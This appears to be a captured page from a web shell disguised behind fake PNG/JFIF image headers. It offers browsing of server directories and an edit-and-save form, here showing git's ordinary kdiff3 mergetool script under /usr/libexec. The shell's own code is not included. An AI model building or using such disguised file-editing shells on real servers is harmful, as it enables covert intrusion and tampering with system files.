�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Flibexec%2F'>libexec</a>/<a href='?path=%2Fusr%2Flibexec%2Fgit-core%2F'>git-core</a>/<a href='?path=%2Fusr%2Flibexec%2Fgit-core%2Fmergetools%2F'>mergetools</a>/</p><hr><h3>✏️ Editing: kdiff3</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>diff_cmd () {
	&quot;$merge_tool_path&quot; \
		--L1 &quot;$MERGED (A)&quot; --L2 &quot;$MERGED (B)&quot; \
		&quot;$LOCAL&quot; &quot;$REMOTE&quot; &gt;/dev/null 2&gt;&amp;1
}

diff_cmd_help () {
	echo &quot;Use KDiff3 (requires a graphical session)&quot;
}

merge_cmd () {
	if $base_present
	then
		&quot;$merge_tool_path&quot; --auto \
			--L1 &quot;$MERGED (Base)&quot; \
			--L2 &quot;$MERGED (Local)&quot; \
			--L3 &quot;$MERGED (Remote)&quot; \
			-o &quot;$MERGED&quot; &quot;$BASE&quot; &quot;$LOCAL&quot; &quot;$REMOTE&quot; \
		&gt;/dev/null 2&gt;&amp;1
	else
		&quot;$merge_tool_path&quot; --auto \
			--L1 &quot;$MERGED (Local)&quot; \
			--L2 &quot;$MERGED (Remote)&quot; \
			-o &quot;$MERGED&quot; &quot;$LOCAL&quot; &quot;$REMOTE&quot; \
		&gt;/dev/null 2&gt;&amp;1
	fi
}

merge_cmd_help () {
	echo &quot;Use KDiff3 (requires a graphical session)&quot;
}

exit_code_trustable () {
	true
}

translate_merge_tool_path() {
	if type kdiff3 &gt;/dev/null 2&gt;/dev/null
	then
		echo kdiff3
	else
		mergetool_find_win32_cmd &quot;kdiff3.exe&quot; &quot;Kdiff3&quot;
	fi
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Flibexec%2Fgit-core%2Fmergetools'>🔙 Back</a></p>